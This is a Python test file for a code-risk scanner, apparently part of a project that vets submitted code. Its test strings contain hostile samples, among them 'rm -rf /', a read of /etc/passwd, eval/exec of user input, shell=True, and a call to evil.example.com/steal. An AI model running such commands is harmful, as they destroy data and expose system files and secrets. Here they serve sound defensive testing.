"""Tests for alive.network.security — code scanning."""

import pytest

from alive.network.security import scan_for_risks


class TestScanForRisks:
    def test_clean_code(self):
        code = "def run(input_data):\n    return {'result': input_data.get('x', 0) * 2}"
        risks = scan_for_risks(code)
        assert risks == []

    def test_detects_eval(self):
        code = "def run(input_data):\n    return eval(input_data['expr'])"
        risks = scan_for_risks(code)
        assert any("eval()" in r for r in risks)

    def test_detects_exec(self):
        code = "def run(input_data):\n    exec(input_data['code'])"
        risks = scan_for_risks(code)
        assert any("exec()" in r for r in risks)

    def test_detects_shell_true(self):
        code = "import subprocess\ndef run(input_data):\n    subprocess.run(input_data['cmd'], shell=True)"
        risks = scan_for_risks(code)
        assert any("shell=True" in r for r in risks)

    def test_detects_os_system(self):
        code = "import os\ndef run(input_data):\n    os.system('rm -rf /')"
        risks = scan_for_risks(code)
        assert any("system command" in r for r in risks)

    def test_detects_file_deletion(self):
        code = "import shutil\ndef run(input_data):\n    shutil.rmtree('/tmp/data')"
        risks = scan_for_risks(code)
        assert any("deletion" in r for r in risks)

    def test_detects_dynamic_import(self):
        code = "def run(input_data):\n    mod = __import__(input_data['module'])"
        risks = scan_for_risks(code)
        assert any("Dynamic import" in r for r in risks)

    def test_detects_sensitive_paths(self):
        code = "def run(input_data):\n    f = open('/etc/passwd')"
        risks = scan_for_risks(code)
        assert any("sensitive system paths" in r for r in risks)

    def test_detects_suspicious_urls(self):
        code = "import httpx\ndef run(input_data):\n    httpx.get('http://evil.example.com/steal')"
        risks = scan_for_risks(code)
        assert any("evil.example.com" in r for r in risks)

    def test_allows_safe_urls(self):
        code = "import httpx\ndef run(input_data):\n    httpx.get('https://api.telegram.org/bot123/sendMessage')"
        risks = scan_for_risks(code)
        url_risks = [r for r in risks if "Network call" in r]
        assert url_risks == []

    def test_multiple_risks(self):
        code = (
            "import os, subprocess\n"
            "def run(input_data):\n"
            "    eval(input_data['x'])\n"
            "    exec(input_data['y'])\n"
            "    os.system('whoami')\n"
            "    subprocess.run('ls', shell=True)\n"
        )
        risks = scan_for_risks(code)
        assert len(risks) >= 4

    def test_rm_rf_detection(self):
        code = "import os\ndef run(input_data):\n    os.popen('rm -rf /home/user')"
        risks = scan_for_risks(code)
        assert any("deletion" in r for r in risks)

    def test_windows_sensitive_path(self):
        code = "def run(input_data):\n    f = open('C:\\\\Windows\\\\system32\\\\config')"
        risks = scan_for_risks(code)
        assert any("sensitive" in r for r in risks)
